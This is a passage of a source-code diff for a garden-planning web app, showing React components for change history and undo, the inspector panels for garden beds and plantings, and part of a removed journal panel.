loaded, so say so rather than leaving a button that did nothing. */}
{history.isError && sets.length > 0 && (
<p className="text-xs text-red-700 dark:text-red-400">
{errorMessage(history.error, "Couldn't load older entries.")}
</p>
)}
</>
)}
{/* Said plainly rather than discovered: deleting a garden bypasses this
list entirely, because the delete cascades below the layer that records
changes. Better to state the gap than to imply cover we don't have. */}
<p className="border-t border-border pt-2 text-xs text-muted">
Deleting a whole garden isn't covered here and can't be undone.
</p>
</div>
)
}
function HistoryEntry({
changeSet,
canEdit,
undo,
}: {
changeSet: ChangeSet
canEdit: boolean
undo: ReturnType<typeof useUndo>
}) {
const counts = describeCounts(changeSet)
const reverted = changeSet.revertedById != null
const isRevert = changeSet.revertsId != null
return (
<li
className={cn(
'rounded-lg border border-border px-2.5 py-2 text-sm',
reverted && 'opacity-60',
)}
>
<div className="flex items-start gap-2">
<div className="min-w-0 flex-1">
<p className={cn('text-fg', reverted && 'line-through decoration-muted')}>{changeSet.summary}</p>
<p className="mt-0.5 flex flex-wrap items-center gap-x-1.5 gap-y-1 text-xs text-muted">
{changeSet.source === 'agent' && (
<span className="rounded bg-accent/20 px-1 py-px font-medium uppercase tracking-wide text-accent-strong">
agent
</span>
)}
{isRevert && <span className="rounded bg-border/60 px-1 py-px font-medium">undo</span>}
<span>{changeSet.actorName}</span>
<span aria-hidden>·</span>
<time dateTime={changeSet.createdAt}>{relativeTime(changeSet.createdAt)}</time>
{counts && (
<>
<span aria-hidden>·</span>
<span>{counts}</span>
</>
)}
</p>
{reverted && <p className="mt-1 text-xs text-muted">Undone</p>}
</div>
{canEdit && totalChanges(changeSet) > 0 && (
<UndoButton
changeSet={changeSet}
undo={undo}
className="w-32 shrink-0 text-right"
label={reverted ? 'Undo again' : 'Undo'}
/>
)}
</div>
</li>
)
}
/** A compact "3m ago" / "yesterday" for a UTC timestamp. */
export function relativeTime(iso: string): string {
const then = Date.parse(iso)
if (Number.isNaN(then)) return iso
const seconds = (Date.now() - then) / 1000
// Clock skew between the server and this browser can put a just-written entry
// slightly in the future; that's "just now", not a negative duration.
if (seconds < 60) return 'just now'
// Floor throughout: 18 hours ago is "18h ago", not "yesterday". Rounding up
// into the next unit reads as a bigger gap than actually elapsed.
const minutes = Math.floor(seconds / 60)
if (minutes < 60) return `${minutes}m ago`
const hours = Math.floor(minutes / 60)
if (hours < 24) return `${hours}h ago`
const days = Math.floor(hours / 24)
if (days === 1) return 'yesterday'
if (days < 30) return `${days}d ago`
return new Date(then).toLocaleDateString()
}
+69
View File
@@ -0,0 +1,69 @@
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { cn } from '@/lib/cn'
import { totalChanges, type ChangeSet, type UndoOutcome } from '@/lib/history'
import { relativeTime } from './shared'
import type { useUndoLast } from './useUndoLast'
/**
* Every change — yours or the assistant's — as one pill, newest first, with
* Undo the last step at the bottom and an undo on any older step. A reverted
* entry stays in the list, struck through, and the revert appears as its own
* entry, because that is what it is: making the original disappear would be
* rewriting history rather than adding to it.
*/
export function HistoryTab({ canEdit, undoLast }: { canEdit: boolean; undoLast: ReturnType<typeof useUndoLast> }) {
const { history, sets, undo, canUndo, target } = undoLast
return (
<div className="flex min-h-0 flex-1 flex-col gap-2.5">
<div className="text-[12.5px] leading-relaxed text-ink-mute">Every change yours or the assistant's — is one undoable step.</div>
{history.isPending && <p className="text-[13px] text-ink-mute">Loading…</p>}
{history.isError && sets.length === 0 && <Alert>{errorMessage(history.error, 'Could not load history.')}</Alert>}
{history.isSuccess && sets.length === 0 && <div className="text-[13px] text-ink-mute">Nothing yet — go move something.</div>}
{sets.map((cs) => (
<Pill key={cs.id} cs={cs} canEdit={canEdit} outcome={undo.outcomeFor(cs.id)} onUndo={() => undo.undo(cs)} />
))}
{history.hasNextPage && (
<Button variant="ghost" className="self-start text-[13px]" disabled={history.isFetchingNextPage} onClick={() => void history.fetchNextPage()}>
{history.isFetchingNextPage ? 'Loading' : 'Older steps'}
</Button>
)}
<div className="mt-auto flex flex-col gap-1.5 pt-1.5">
{canEdit && (
<Button disabled={!canUndo} onClick={undoLast.undoLast} title={target ? `Undo: ${target.summary}` : undefined}>
Undo the last step
</Button>
)}
<p className="text-[11px] leading-relaxed text-ink-mute">Deleting a whole garden isn't covered here and can't be undone.</p>
</div>
</div>
)
}
function Pill({ cs, canEdit, outcome, onUndo }: { cs: ChangeSet; canEdit: boolean; outcome?: UndoOutcome; onUndo: () => void }) {
const reverted = cs.revertedById != null
const isRevert = cs.revertsId != null
const pending = outcome?.tone === 'pending'
return (
<div className="flex flex-col gap-1">
<div className={cn('flex items-center gap-[9px] rounded-full border border-divider bg-bg py-2 pl-3.5 pr-2', reverted && 'opacity-60')}>
<span className={cn('h-[7px] w-[7px] flex-none rounded-full', reverted ? 'bg-neutral-400' : isRevert ? 'bg-neutral-500' : cs.source === 'agent' ? 'bg-accent-2-500' : 'bg-accent-400')} />
<span className={cn('min-w-0 truncate text-[13px] font-semibold', reverted && 'line-through')} title={`${cs.summary} — ${cs.actorName}${cs.source === 'agent' ? ' (assistant)' : ''}`}>
{cs.summary}
</span>
<span className="ml-auto flex-none text-[11.5px] text-ink-mute">{relativeTime(cs.createdAt)}</span>
{canEdit && !reverted && totalChanges(cs) > 0 && (
<button type="button" className="btn btn-ghost -my-1 px-2 py-0.5 text-[11.5px]" disabled={pending} onClick={onUndo}>
{pending ? 'Undoing' : 'Undo'}
</button>
)}
</div>
{outcome && outcome.tone !== 'pending' && (
<p role="status" className={cn('px-3.5 text-[11.5px]', outcome.tone === 'ok' ? 'text-ink-mute' : 'font-semibold text-accent-700')}>
{outcome.message}
</p>
)}
</div>
)
}
+394 -240
View File
@@ -1,266 +1,242 @@
import { useEffect, useRef, useState, type ChangeEvent } from 'react'
import { Button } from '@/components/ui/Button'
import { TextField } from '@/components/ui/TextField'
import { TextArea } from '@/components/ui/TextArea'
import { useDeleteObject, useUpdateObject } from '@/lib/objects'
import { useEffect, useMemo, useRef, useState, type ReactNode } from 'react'
import { ColorDot } from '@/components/plants/Monogram'
import { Button, IconButton } from '@/components/ui/Button'
import { TextAreaField, TextField } from '@/components/ui/Field'
import { Icon } from '@/components/ui/Icon'
import { Tag } from '@/components/ui/Tag'
import { Toggle } from '@/components/ui/Toggle'
import { cn } from '@/lib/cn'
import { useDeleteObject, useRemovePlanting, useUpdateObject, useUpdatePlanting } from '@/lib/objects'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import {
cmFromSpacing,
dimensionUnitLabel,
dimensionInputMode,
dimensionUnitLabel,
formatDimensionInput,
formatLength,
formatSize,
MIN_DIMENSION_CM,
parseDimension,
spacingFromCm,
spacingUnitLabel,
type UnitPref,
} from '@/lib/units'
import { kindDef } from './kinds'
import { kindDef, kindPlural } from './kinds'
import { MIN_OBJECT_CM, plopCount } from './shared'
import { useEditorStore } from './store'
import type { EditorObject } from './types'
const DEFAULT_COLOR = '#8a8a8a'
/** "Growing: 64 garlic · 3 tomato" for an object, or the empty line. */
export function rosterText(o: EditorObject, plantings: EditorPlanting[], plantsById: Map<number, Plant>): string {
const roster = new Map<string, number>()
for (const p of plantings) {
if (p.objectId !== o.id) continue
const plant = plantsById.get(p.plantId)
const name = (plant?.name ?? 'plants').toLowerCase()
roster.set(name, (roster.get(name) ?? 0) + plopCount(p, plant))
}
if (roster.size === 0) return o.plantable ? 'Nothing planted yet.' : ''
return 'Growing: ' + [...roster].map(([n, c]) => `${c} ${n}`).join(' · ')
}
/** A collapsible block of the less-often-needed fields. */
function Details({ open, onToggle, children }: { open: boolean; onToggle: () => void; children: ReactNode }) {
return (
<div className="flex flex-col gap-3">
<button type="button" className="btn btn-ghost self-start gap-1.5 text-[13px]" onClick={onToggle} aria-expanded={open}>
<Icon name="chevron-down" size={13} className={cn('transition-transform', open && 'rotate-180')} />
Details
</button>
{open && <div className="flex flex-col gap-3 rounded-[18px] border border-divider bg-bg p-3">{children}</div>}
</div>
)
}
/**
* Property panel for the selected object. Each field commits a PATCH on
* blur/change (carrying the object's version); dimensions and position are shown
* in the garden's unit. Keyed by object id in the parent so it re-inits cleanly
* on selection change.
* The selected object: its name (edits on blur/Enter), kind + size, what's
* growing in it, and the three actions — Plant this, rotate 90°, remove. The
* details block below carries the exact geometry, color, plantability, the
* bed grid and notes. Keyed by object id in the parent so fields re-init.
*/
export function Inspector({
export function ObjectInspector({
object,
gardenId,
unit,
onFocus,
onAddNote,
noteCount = 0,
readOnly = false,
canEdit,
focused,
roster,
noteCount,
large,
onPlantThis,
onNotes,
onDeleted,
}: {
object: EditorObject
gardenId: number
unit: UnitPref
onFocus?: () => void
/** Opens the journal scoped to this object. Two taps from a selected bed to
* typing is the bar; anything more and the log stays empty. */
onAddNote?: () => void
/** How many journal entries are about this object, so the log is discoverable
* from the thing it's about rather than being a panel you have to remember. */
noteCount?: number
readOnly?: boolean
canEdit: boolean
/** Already inside this bed (so "Plant this" is redundant). */
focused: boolean
roster: string
noteCount: number
/** Phone: 16px inputs, 44px targets. */
large?: boolean
onPlantThis: () => void
onNotes: () => void
onDeleted: () => void
}) {
const update = useUpdateObject(gardenId)
const del = useDeleteObject(gardenId)
const select = useEditorStore((s) => s.select)
// Local field state (initialized once; committed on blur/change).
const rootRef = useRef<HTMLDivElement>(null)
const [name, setName] = useState(object.name)
const [notes, setNotes] = useState(object.notes)
const [details, setDetails] = useState(false)
const [width, setWidth] = useState(formatDimensionInput(object.widthCm, unit))
const [height, setHeight] = useState(formatDimensionInput(object.heightCm, unit))
const [x, setX] = useState(formatDimensionInput(object.xCm, unit))
const [y, setY] = useState(formatDimensionInput(object.yCm, unit))
const [rotation, setRotation] = useState(String(Math.round(object.rotationDeg)))
const [color, setColor] = useState(object.color ?? DEFAULT_COLOR)
const [gridSize, setGridSize] = useState(String(spacingFromCm(object.gridSizeCm, unit)))
const [confirmingDelete, setConfirmingDelete] = useState(false)
const rootRef = useRef<HTMLDivElement>(null)
const [notes, setNotes] = useState(object.notes)
// When the object changes underneath us (e.g. a canvas move/resize/rotate, or
// an optimistic PATCH result), re-sync the fields — unless the user is
// actively editing one here, so we don't clobber their typing.
// Re-sync when the object changes underneath (a drag, a server row) unless a
// field here is being edited.
useEffect(() => {
if (rootRef.current?.contains(document.activeElement)) return
setName(object.name)
setNotes(object.notes)
setWidth(formatDimensionInput(object.widthCm, unit))
setHeight(formatDimensionInput(object.heightCm, unit))
setX(formatDimensionInput(object.xCm, unit))
setY(formatDimensionInput(object.yCm, unit))
setRotation(String(Math.round(object.rotationDeg)))
setColor(object.color ?? DEFAULT_COLOR)
setGridSize(String(spacingFromCm(object.gridSizeCm, unit)))
}, [object.version, object.widthCm, object.heightCm, object.xCm, object.yCm, object.rotationDeg, object.name, object.notes, object.color, object.gridSizeCm, unit])
setNotes(object.notes)
}, [object, unit])
const patch = (fields: Partial<Omit<EditorObject, 'id' | 'version'>>) => {
if (readOnly) return // a blur mustn't fire a mutation if the role changed mid-edit
if (!canEdit) return
update.mutate({ id: object.id, version: object.version, ...fields })
}
// Commit a dimension/position field. `positive` gates width/height (must be
// ≥ the server minimum) but not x/y, which may be zero or negative.
//
// The no-op guard compares the field's TEXT against the string this field
// renders for the current value. With compound entry there is no single
// display number left to compare, and a numeric tolerance would be worse:
// a bed dragged to some arbitrary cm renders as, say, 2 7.9″, and merely
// tabbing through the field would snap it to a whole inch. Text equality means
// "you didn't edit this", which is what the guard is actually for. Typing the
// same value a different way (2' 7" vs 2 7″) falls through to the cm compare
// below and is still a no-op.
const commitName = () => {
const v = name.trim()
if (v && v !== object.name) patch({ name: v })
else setName(object.name)
}
const commitDim = (raw: string, current: number, apply: (cm: number) => void, positive = false) => {
if (raw.trim() === formatDimensionInput(current, unit)) return
const cm = parseDimension(raw, unit)
if (cm === null) return // unparseable: leave the row alone rather than commit a zero
if (positive && cm < MIN_DIMENSION_CM) return
if (cm === null) return
if (positive && cm < Math.max(MIN_DIMENSION_CM, MIN_OBJECT_CM)) return
if (cm !== current) apply(cm)
}
// Commit the bed grid size (entered at spacing scale, cm/in). Compare at display
// precision so a blur without an edit doesn't fire a spurious PATCH; ignore a
// sub-1cm value the server would reject.
const commitGrid = () => {
const v = parseFloat(gridSize)
if (!Number.isFinite(v)) return
if (v === spacingFromCm(object.gridSizeCm, unit)) return
if (!Number.isFinite(v) || v === spacingFromCm(object.gridSizeCm, unit)) return
const cm = cmFromSpacing(v, unit)
if (cm >= MIN_DIMENSION_CM && cm !== object.gridSizeCm) patch({ gridSizeCm: cm })
}
const u = dimensionUnitLabel(unit)
const inputMode = dimensionInputMode(unit)
const inputCls = cn(large && 'input-lg')
const btnSize = large ? 44 : 36
return (
<div ref={rootRef} className="flex flex-col gap-3">
<div className="flex items-center justify-between">
<h2 className="text-sm font-semibold text-fg">{kindDef(object.kind)?.label ?? object.kind}</h2>
<button
type="button"
onClick={() => select(null)}
className="rounded px-1.5 text-sm text-muted hover:text-fg"
aria-label="Close inspector"
>
</button>
<input
className={cn('input font-bold', inputCls)}
aria-label="Name"
value={name}
readOnly={!canEdit}
onChange={(e) => setName(e.target.value)}
onBlur={commitName}
onKeyDown={(e) => e.key === 'Enter' && (e.target as HTMLInputElement).blur()}
/>
<div className="flex flex-wrap items-center gap-2">
<Tag tone="neutral">{kindDef(object.kind)?.label ?? object.kind}</Tag>
<span className="text-[13px] font-semibold text-ink-soft">{formatSize(object.widthCm, object.heightCm, unit)}</span>
{noteCount > 0 && (
<button type="button" className="tag tag-accent-2 cursor-pointer border-0" onClick={onNotes}>
{noteCount} {noteCount === 1 ? 'note' : 'notes'}
</button>
)}
</div>
{readOnly && (
<p className="rounded-md bg-border/40 px-2 py-1 text-xs text-muted">View only you can't edit this garden.</p>
)}
{!readOnly && object.plantable && onFocus && (
<Button onClick={onFocus} className="w-full">
🌱 Plant here
</Button>
)}
{onAddNote && (
<Button variant="ghost" onClick={onAddNote} className="w-full text-sm">
{noteCount > 0
? `📝 ${noteCount} ${noteCount === 1 ? 'note' : 'notes'}`
: readOnly
? '📝 No notes'
: '📝 Add note'}
</Button>
)}
{/* A disabled fieldset makes every control below read-only for viewers in
one shot (no per-input disabled). */}
<fieldset disabled={readOnly} className="flex min-w-0 flex-col gap-3 border-0 p-0">
<TextField
label="Name"
name="name"
value={name}
onChange={(e) => setName(e.target.value)}
onBlur={() => name !== object.name && patch({ name })}
/>
<div className="grid grid-cols-2 gap-2">
<TextField
label={`Width (${u})`}
name="width"
type="text"
inputMode={inputMode}
value={width}
onChange={(e) => setWidth(e.target.value)}
onBlur={() => commitDim(width, object.widthCm, (cm) => patch({ widthCm: cm }), true)}
/>
<TextField
label={`Height (${u})`}
name="height"
type="text"
inputMode={inputMode}
value={height}
onChange={(e) => setHeight(e.target.value)}
onBlur={() => commitDim(height, object.heightCm, (cm) => patch({ heightCm: cm }), true)}
/>
<TextField
label={`X (${u})`}
name="x"
type="text"
inputMode={inputMode}
value={x}
onChange={(e) => setX(e.target.value)}
onBlur={() => commitDim(x, object.xCm, (cm) => patch({ xCm: cm }))}
/>
<TextField
label={`Y (${u})`}
name="y"
type="text"
inputMode={inputMode}
value={y}
onChange={(e) => setY(e.target.value)}
onBlur={() => commitDim(y, object.yCm, (cm) => patch({ yCm: cm }))}
/>
</div>
<TextField
label="Rotation (°)"
name="rotation"
type="number"
inputMode="numeric"
step="1"
value={rotation}
onChange={(e) => setRotation(e.target.value)}
onBlur={() => {
const v = parseFloat(rotation)
if (Number.isFinite(v) && v !== object.rotationDeg) patch({ rotationDeg: v })
}}
/>
<div className="flex items-end gap-2">
<div className="flex flex-col gap-1.5">
<label htmlFor="obj-color" className="text-sm font-medium text-fg">
Color
</label>
<input
id="obj-color"
type="color"
value={color}
// onChange fires continuously while dragging in the native picker;
// track it locally for the live swatch and commit one PATCH on blur.
onChange={(e: ChangeEvent<HTMLInputElement>) => setColor(e.target.value)}
onBlur={() => color !== (object.color ?? DEFAULT_COLOR) && patch({ color })}
className="h-9 w-14 cursor-pointer rounded-md border border-border bg-surface"
/>
</div>
{object.color && (
<Button
variant="ghost"
className="px-2 py-1.5 text-xs"
onClick={() => {
setColor(DEFAULT_COLOR)
patch({ color: null })
}}
>
Clear
{roster && <div className="text-[12.5px] leading-relaxed text-ink-soft">{roster}</div>}
{canEdit && (
<div className="flex gap-2">
{object.plantable && !focused && (
<Button variant="primary" className="flex-1" tall={large} onClick={onPlantThis}>
Plant this
</Button>
)}
</div>
<label className="flex items-center gap-2 text-sm text-fg">
<input
type="checkbox"
checked={object.plantable}
onChange={(e) => patch({ plantable: e.target.checked })}
className="h-4 w-4 rounded border-border"
<IconButton label="Rotate 90°" icon="rotate-cw" iconSize={large ? 16 : 15} size={btnSize} onClick={() => patch({ rotationDeg: (object.rotationDeg + 90) % 360 })} />
<IconButton
label="Remove"
icon="trash-2"
iconSize={large ? 16 : 15}
size={btnSize}
iconClassName="text-accent-700"
disabled={del.isPending}
onClick={() => {
onDeleted()
del.mutate(object.id)
}}
/>
Plantable
</label>
{!object.plantable || focused ? <span className="flex-1" /> : null}
</div>
)}
{noteCount === 0 && (
<button type="button" className="btn btn-ghost self-start gap-1.5 text-[13px]" onClick={onNotes}>
<Icon name="notebook" size={13} />
{canEdit ? 'Add a note' : 'Notes'}
</button>
)}
{/* Bed grid: only plantable beds place plants, so the plant-snapping grid
is shown just for them. */}
{object.plantable && (
<div className="flex items-end gap-2">
<div className="flex-1">
<Details open={details} onToggle={() => setDetails((v) => !v)}>
<fieldset disabled={!canEdit} className="contents">
<div className="grid grid-cols-2 gap-2">
<TextField label={`Width (${u})`} name="width" type="text" inputMode={inputMode} className={inputCls} value={width} onChange={(e) => setWidth(e.target.value)} onBlur={() => commitDim(width, object.widthCm, (cm) => patch({ widthCm: cm }), true)} />
<TextField label={`Height (${u})`} name="height" type="text" inputMode={inputMode} className={inputCls} value={height} onChange={(e) => setHeight(e.target.value)} onBlur={() => commitDim(height, object.heightCm, (cm) => patch({ heightCm: cm }), true)} />
<TextField label={`X (${u})`} name="x" type="text" inputMode={inputMode} className={inputCls} value={x} onChange={(e) => setX(e.target.value)} onBlur={() => commitDim(x, object.xCm, (cm) => patch({ xCm: cm }))} />
<TextField label={`Y (${u})`} name="y" type="text" inputMode={inputMode} className={inputCls} value={y} onChange={(e) => setY(e.target.value)} onBlur={() => commitDim(y, object.yCm, (cm) => patch({ yCm: cm }))} />
<TextField
label="Rotation (°)"
name="rotation"
type="number"
inputMode="numeric"
step="1"
className={inputCls}
value={rotation}
onChange={(e) => setRotation(e.target.value)}
onBlur={() => {
const v = parseFloat(rotation)
if (Number.isFinite(v) && v !== object.rotationDeg) patch({ rotationDeg: ((v % 360) + 360) % 360 })
}}
/>
<div className="field">
<label htmlFor={`color-${object.id}`}>Color</label>
<div className="flex items-center gap-2">
<input
id={`color-${object.id}`}
type="color"
value={object.color ?? '#e3d0ac'}
onChange={(e) => patch({ color: e.target.value })}
className="h-9 w-12 cursor-pointer rounded-full border border-divider bg-surface p-1"
/>
{object.color && (
<button type="button" className="btn btn-ghost px-2 text-xs" onClick={() => patch({ color: null })}>
Kind's own
</button>
)}
</div>
</div>
</div>
<div className="flex items-center gap-2.5">
<span className="text-[13px] font-semibold">Plantable</span>
<Toggle className="ml-auto" on={object.plantable} label="Plantable" disabled={!canEdit} onChange={(v) => patch({ plantable: v })} />
</div>
{object.plantable && (
<div className="flex items-end gap-2">
<TextField
label={`Bed grid (${spacingUnitLabel(unit)})`}
name="gridSize"
@@ -268,56 +244,234 @@ export function Inspector({
inputMode="decimal"
step="any"
min="0"
className={inputCls}
wrapperClassName="flex-1"
value={gridSize}
onChange={(e) => setGridSize(e.target.value)}
onBlur={commitGrid}
/>
<div className="field">
<label>Snap plants</label>
<Toggle on={object.snapToGrid} label="Snap plants to the bed grid" disabled={!canEdit} onChange={(v) => patch({ snapToGrid: v })} />
</div>
</div>
<label className="flex h-9 items-center gap-2 whitespace-nowrap text-sm text-fg">
<input
type="checkbox"
checked={object.snapToGrid}
onChange={(e) => patch({ snapToGrid: e.target.checked })}
className="h-4 w-4 rounded border-border"
/>
Snap plants
</label>
</div>
)}
<TextArea
label="Notes"
name="notes"
rows={2}
value={notes}
onChange={(e) => setNotes(e.target.value)}
onBlur={() => notes !== object.notes && patch({ notes })}
/>
</fieldset>
{!readOnly &&
(confirmingDelete ? (
<div className="flex items-center gap-2">
<Button
variant="danger"
className="flex-1"
disabled={del.isPending}
onClick={() => {
select(null)
del.mutate(object.id)
}}
>
Confirm delete
</Button>
<Button variant="ghost" onClick={() => setConfirmingDelete(false)}>
Cancel
</Button>
</div>
) : (
<Button variant="ghost" className="text-red-600 dark:text-red-400" onClick={() => setConfirmingDelete(true)}>
Delete object
</Button>
))}
)}
<TextAreaField label="Notes" name="notes" rows={2} value={notes} onChange={(e) => setNotes(e.target.value)} onBlur={() => notes !== object.notes && patch({ notes })} />
</fieldset>
</Details>
</div>
)
}
/**
* The selected planting: its plant, "N plants · 6″ patch", and Pull it out.
* Details hold the radius, a count override, a label, the planted date, and
* the plant itself (swap it for another without re-placing).
*/
export function PlopInspector({
plop,
plant,
plants,
gardenId,
unit,
canEdit,
noteCount,
large,
onNotes,
onRemoved,
}: {
plop: EditorPlanting
plant: Plant | undefined
plants: Plant[]
gardenId: number
unit: UnitPref
canEdit: boolean
noteCount: number
large?: boolean
onNotes: () => void
onRemoved: () => void
}) {
const update = useUpdatePlanting(gardenId)
const remove = useRemovePlanting(gardenId)
const livePlanting = useEditorStore((s) => s.livePlanting)
const rootRef = useRef<HTMLDivElement>(null)
const p = livePlanting && livePlanting.id === plop.id ? livePlanting : plop
const [details, setDetails] = useState(false)
const [radius, setRadius] = useState(String(spacingFromCm(p.radiusCm, unit)))
const [count, setCount] = useState(p.count != null ? String(p.count) : '')
const [label, setLabel] = useState(p.label ?? '')
const [planted, setPlanted] = useState(p.plantedAt ?? '')
useEffect(() => {
if (rootRef.current?.contains(document.activeElement)) return
setRadius(String(spacingFromCm(p.radiusCm, unit)))
setCount(p.count != null ? String(p.count) : '')
setLabel(p.label ?? '')
setPlanted(p.plantedAt ?? '')
}, [p, unit])
const patch = (fields: Omit<Parameters<typeof update.mutate>[0], 'id' | 'version'>) => {
if (!canEdit) return
update.mutate({ id: plop.id, version: plop.version, ...fields })
}
const n = plopCount(p, plant)
const inputCls = cn(large && 'input-lg')
const sorted = useMemo(() => [...plants].sort((a, b) => a.name.localeCompare(b.name)), [plants])
return (
<div ref={rootRef} className="flex flex-col gap-3">
<div className="flex items-center gap-2.5">
<ColorDot color={plant?.color ?? '#97a97c'} size={18} />
<span className="min-w-0 truncate font-heading text-[17px]">{plant?.name ?? 'Unknown plant'}</span>
{noteCount > 0 && (
<button type="button" className="tag tag-accent-2 ml-auto cursor-pointer border-0" onClick={onNotes}>
{noteCount} {noteCount === 1 ? 'note' : 'notes'}
</button>
)}
</div>
<div className="text-[13px] text-ink-soft">
{n} {n === 1 ? 'plant' : 'plants'} · {formatLength(p.radiusCm * 2, unit)} patch
{p.label ? ` · ${p.label}` : ''}
</div>
<div className="flex flex-wrap gap-2">
{canEdit && (
<Button
tall={large}
disabled={remove.isPending}
onClick={() => {
onRemoved()
remove.mutate({ id: plop.id, version: plop.version })
}}
>
Pull it out
</Button>
)}
{noteCount === 0 && (
<button type="button" className="btn btn-ghost gap-1.5 text-[13px]" onClick={onNotes}>
<Icon name="notebook" size={13} />
{canEdit ? 'Add a note' : 'Notes'}
</button>
)}
</div>
<Details open={details} onToggle={() => setDetails((v) => !v)}>
<fieldset disabled={!canEdit} className="contents">
<div className="grid grid-cols-2 gap-2">
<TextField
label={`Radius (${spacingUnitLabel(unit)})`}
name="radius"
type="number"
inputMode="decimal"
step="any"
min="0"
className={inputCls}
value={radius}
onChange={(e) => setRadius(e.target.value)}
onBlur={() => {
const v = Number(radius)
if (radius.trim() === '' || !Number.isFinite(v)) return setRadius(String(spacingFromCm(p.radiusCm, unit)))
const cm = Math.max(1, cmFromSpacing(v, unit))
if (cm !== p.radiusCm) patch({ radiusCm: cm })
}}
/>
<TextField
label="Count"
name="count"
type="number"
inputMode="numeric"
step="1"
min="1"
className={inputCls}
placeholder={`${plant ? plopCount({ ...p, count: null }, plant) : p.derivedCount} (auto)`}
value={count}
onChange={(e) => setCount(e.target.value)}
onBlur={() => {
if (count.trim() === '') return p.count != null ? patch({ count: null }) : undefined
const c = Number(count)
if (!Number.isInteger(c) || c < 1) return setCount(p.count != null ? String(p.count) : '')
if (c !== p.count) patch({ count: c })
}}
hint={p.count != null ? 'An override clear it for auto.' : 'Auto from area ÷ spacing².'}
/>
</div>
<TextField label="Label (optional)" name="label" className={inputCls} value={label} onChange={(e) => setLabel(e.target.value)} onBlur={() => label !== (p.label ?? '') && patch({ label: label.trim() || null })} />
<TextField
label="Planted"
name="planted"
type="date"
className={inputCls}
value={planted}
onChange={(e) => setPlanted(e.target.value)}
onBlur={() => {
const next = planted === '' ? null : planted
if (next !== (p.plantedAt ?? null)) patch({ plantedAt: next })
}}
/>
<div className="field">
<label htmlFor={`plant-${plop.id}`}>Plant</label>
<select id={`plant-${plop.id}`} className={cn('input', inputCls)} value={plop.plantId} onChange={(e) => patch({ plantId: Number(e.target.value) })}>
{!sorted.some((x) => x.id === plop.plantId) && <option value={plop.plantId}>{plant?.name ?? 'Unknown plant'}</option>}
{sorted.map((x) => (
<option key={x.id} value={x.id}>
{x.name}
</option>
))}
</select>
</div>
</fieldset>
</Details>
</div>
)
}
/** The rail's resting state: what the whole garden holds. */
export function GardenSummary({
objects,
plantings,
plantsById,
canEdit,
}: {
objects: EditorObject[]
plantings: EditorPlanting[]
plantsById: Map<number, Plant>
canEdit: boolean
}) {
const counts = new Map<string, number>()
for (const o of objects) counts.set(o.kind, (counts.get(o.kind) ?? 0) + 1)
const countsText = [
...['bed', 'grow_bag', 'container', 'in_ground', 'tree'].filter((k) => counts.has(k)).map((k) => kindPlural(k, counts.get(k)!)),
`${plantings.length} ${plantings.length === 1 ? 'planting' : 'plantings'}`,
].join(' · ')
const roster = new Map<number, { name: string; color: string; n: number; beds: string[] }>()
const byId = new Map(objects.map((o) => [o.id, o]))
for (const p of plantings) {
const o = byId.get(p.objectId)
const plant = plantsById.get(p.plantId)
if (!o || !plant) continue
const r = roster.get(plant.id) ?? { name: plant.name, color: plant.color, n: 0, beds: [] }
r.n += plopCount(p, plant)
if (!r.beds.includes(o.name)) r.beds.push(o.name)
roster.set(plant.id, r)
}
return (
<>
<h5 className="mt-0.5">This garden</h5>
<div className="text-[13px] leading-relaxed text-ink-soft">{objects.length === 0 ? 'Bare ground so far.' : countsText}</div>
<div className="flex flex-col gap-[7px]">
{[...roster.values()].map((r) => (
<div key={r.name} className="flex items-center gap-[9px]">
<ColorDot color={r.color} size={13} />
<span className="min-w-0 truncate text-[13px] font-semibold">{r.name}</span>
<span className="ml-auto flex-none text-xs text-ink-mute">
{r.n} in {r.beds[0]}
{r.beds.length > 1 ? ` +${r.beds.length - 1}` : ''}
</span>
</div>
))}
</div>
<div className="mt-auto pt-2.5 text-xs leading-relaxed text-ink-mute">
{canEdit ? 'Select anything on the plan to edit it here. Double-click a bed to plant it.' : 'Select anything on the plan to see it here.'}
</div>
</>
)
}
-389
View File
@@ -1,389 +0,0 @@
import { useState } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { TextArea } from '@/components/ui/TextArea'
import { TextField } from '@/components/ui/TextField'
import { errorMessage } from '@/lib/api'
import {
formatObservedAt,
today,
useCreateJournalEntry,
useDeleteJournalEntry,
useJournal,
useUpdateJournalEntry,
type JournalEntry,
} from '@/lib/journal'
import type { EditorObject } from './types'
import { objectDisplayName } from './kinds'
// Shared styling for the small From/To date inputs, so the two stay in step and
// don't drift from each other.
const dateInputClass =
'rounded-md border border-border bg-surface px-1.5 py-1 text-fg outline-none focus-visible:ring-2 focus-visible:ring-accent/40'
/**
* The garden's journal: write an entry, read the season back.
*
* Notes get written standing in the garden holding a phone, usually one-handed.
* If it takes more than a couple of taps from looking at a bed to typing a
* sentence, the log stays empty — so the composer is open by default rather than
* behind an "add" button, and selecting a bed pre-scopes it to that bed.
*/
export function JournalPanel({
gardenId,
canEdit,
currentUserId,
isOwner,
objects,
scopeObjectId,
onScopeChange,
scopePlantingId,
onScopePlantingChange,
}: {
gardenId: number
canEdit: boolean
currentUserId?: number
isOwner: boolean
objects: EditorObject[]
/** Which bed the panel is filtered to, if any. */
scopeObjectId: number | null
onScopeChange: (id: number | null) => void
/** Which single plop the panel is filtered to, if any (#85). The store keeps
* this mutually exclusive with scopeObjectId. Required like its bed twin. */
scopePlantingId: number | null
onScopePlantingChange: (id: number | null) => void
}) {
// Date-range narrowing (#85): the backend and JournalFilter already supported
// from/to; they just had no UI. Empty inputs don't filter.
const [from, setFrom] = useState('')
const [to, setTo] = useState('')
const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
// One source of scope priority — plop over bed — for both the filter and the
// composer's label, so they can't drift.
const scopeLabel = scopePlantingId != null ? 'this planting' : scopedObject ? objectDisplayName(scopedObject) : null
const filter = {
...(scopePlantingId != null
? { plantingId: scopePlantingId }
: scopeObjectId != null
? { objectId: scopeObjectId }
: {}),
...(from ? { from } : {}),
...(to ? { to } : {}),
}
const journal = useJournal(gardenId, filter)
const entries = journal.data?.pages.flatMap((p) => p.entries) ?? []
return (
<div className="flex flex-col gap-3">
<div className="flex items-center justify-between gap-2">
<h2 className="text-sm font-semibold text-fg">Journal</h2>
{objects.length > 0 && (
<select
value={scopeObjectId ?? ''}
onChange={(e) => {
const id = Number(e.target.value)
